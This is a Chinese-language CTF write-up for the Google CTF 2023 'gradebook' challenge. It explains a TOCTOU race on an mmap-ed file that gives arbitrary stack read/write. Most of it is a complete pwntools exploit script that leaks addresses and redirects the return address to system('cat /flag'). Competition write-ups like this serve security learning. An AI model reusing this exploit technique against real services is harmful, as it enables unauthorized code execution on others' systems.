Table of Contents
Gradebook 结构
根据函数 sub_2247 开头的部分可以推测出 gradebook 的结构
0x4 year0x8 grade book name (32 bytes)0x28 student name (32 bytes)0x48 size of this gradebook (uint)0x50 first grade structure offset0x58 new grade structure offset每一条记录 grade 是一个大小为 0 x 40 的结构体
0x0 class0x8 course title (22 bytes)0x1e grade (2bytes)0x20 teacher (12 bytes)0x2c room0x30 period0x38 next structure offsetToctou
漏洞点是 TOCTOU (Time-of-check to time-of-use) ,先检查后使用描述的是一种文件的操作方式,比如:
// NOTE: This program has setuid access rights flag
if (access("filePathName", W_OK)){ exit(EXIT_FAILURE);}
fd = open("filePathName", O_WRONLY);write(fd, buffer, sizeof(buffer));在一个文件完成检查到使用的时间间隙,文件信息可能被改变。在上面的程序中,access() 这个检查和 open() 这个实际访问操作中可能会有其他(恶意)程序对文件系统进行更改,从而导致恶意访问发生。
在本题中,由于使用 mmap 来映射文件内容,内存中的数据和文件数据是直接对应的,内存的变化会被自动写入磁盘,磁盘的变化也会自动载入内存。因此一次连接 open file,再有一个新的连接像已经打开的文件 upload 一个新的 gradebook,设置一个很大的 gradebook size (绕过了 buf. St_size 限制)就可以读写指定的地址
//绕过了以下 check,正常上传的 dradebook 的偏移不会超过 mmap 映射的区域if ( *((_QWORD *)gradebook_addr + 9) > len|| *((_QWORD *)gradebook_addr + 11) > *((_QWORD *)gradebook_addr + 9)|| *((_QWORD *)gradebook_addr + 11) <= 0x5FuLL )我们可以将头尾两个 grade srtucture 的偏移设置成需要控制的栈上内存的地址和 gradebook 所在地址 0x4752ADE50000 的偏移,就可以泄露 (first) 和修改 (new) 返回地址到 system("cat /flag"); 附近了
# leak fun_addrgrade_book = 0x4752ADE50000fake_file = file_data[:0x48]fake_file += p64(0xffffffffffffffff) #size of this gradebook (uint)fake_file += p64(ret_addr - grade_book) # first grade structure offsetfake_file += p64(ret_addr - grade_book) # new grade structure offsetExp
from pwn import *
elf_path = "./chal"ip = "gradebook.2023.ctfcompetition.com"port = "1337"content = 0
context(os='linux',arch='amd64')if content == 1: os.system('tmux set mouse on') context.terminal = ['tmux','splitw','-h'] # p = process(elf_path) p_fake = process(elf_path) p = gdb.debug(elf_path)
else: p = remote(ip, port) p_fake = remote(ip, port)
r = lambda : p.recv()rx = lambda x: p.recv(x)ru = lambda x: p.recvuntil(x)rud = lambda x: p.recvuntil(x, drop=True)s = lambda x: p.send(x)sl = lambda x: p.sendline(x)sa = lambda x, y: p.sendafter(x, y)sla = lambda x, y: p.sendlineafter(x, y)leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
# ----------------------------------------------------------
# upload a narmal gradebooksla(b'PASSWORD:\n', b'pencil')sla(b'3. QUIT\n\n', b'2')sla(b'ENTER FILENAME:\n', b'x')rud(b'GENERATED FILENAME: ')file_name = ru(b'ENTER')[:44].decode()f = open("gradebook", "rb")file_data = f.read()sla(b'FILE SIZE:\n', str(len(file_data)).encode())sa(b'SEND BINARY FILE DATA:\n', file_data)sla(b'3. QUIT\n\n', b'1')sla(b'ENTER FILENAME:', file_name.encode())log.success(file_name)
# leak stack_addrsla(b'6. QUIT\n\n', b'1')sla(b'CLASS:\n', b'1')sla(b'COURSE TITLE:\n', b'1')sla(b'GRADE:\n', b'1')sla(b'TEACHER:\n', b'1')sla(b'ROOM:\n', b'1'*4)sla(b'PERIOD:\n', b'1')ru(b' 1111 ')ret_addr = u64(ru(b'\x7f').ljust(8, b'\x00')) + 0x38leak('ret_addr', ret_addr)
# leak fun_addrgrade_book = 0x4752ADE50000fake_file = file_data[:0x48]fake_file += p64(0xffffffffffffffff)fake_file += p64(ret_addr - grade_book)fake_file += p64(ret_addr - grade_book)p_fake.sendlineafter(b'PASSWORD:\n', b'pencil')p_fake.sendlineafter(b'3. QUIT\n\n', b'2')p_fake.sendlineafter(b'ENTER FILENAME:\n', file_name.encode())p_fake.sendlineafter(b'ENTER FILE SIZE:\n', str(len(fake_file)).encode())p_fake.sendafter(b'SEND BINARY FILE DATA:\n', fake_file)sla(b'6. QUIT\n\n', b'2')sla(b'WHICH GRADE:\n', b'0')ru(b'\x0a ')fun_addr = u64(rud(b' ').ljust(8, b'\x00'))leak('fun_addr', fun_addr)
# change ret addrsla(b'6. QUIT\n\n', b'1')sla(b'CLASS:\n', p64(fun_addr - 0xc93))sla(b'COURSE TITLE:\n', b'1')sla(b'GRADE:\n', b'1')sla(b'TEACHER:\n', b'1')sla(b'ROOM:\n', b'1'*4)sla(b'PERIOD:\n', b'1')
p.interactive()